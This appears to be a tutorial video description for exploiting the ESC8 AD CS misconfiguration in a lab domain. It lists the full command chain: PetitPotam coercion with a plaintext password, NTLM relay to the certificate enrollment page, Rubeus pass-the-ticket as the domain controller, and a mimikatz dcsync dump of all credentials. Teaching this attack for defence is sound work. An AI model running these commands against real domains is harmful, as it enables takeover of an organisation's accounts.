Exploiting Misconfigured ADCS: ESC8
Corrections:
At 4:32, it is using that certificate of the machine account.
Commands Used:
1) python3 petitpotam.py -u reze -p 'b0mbd3vil!!' 192.168.0.136 192.168.0.160
2) impacket-ntlmrelayx -t http://192.168.0.170/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
3) .\Rubeus.exe asktgt /user:DC1$ /domain:BERSERK.local /dc:192.168.0.170 /ptt /certificate:
4) lsadump::dcsync /domain:BERSERK.local /all /csv
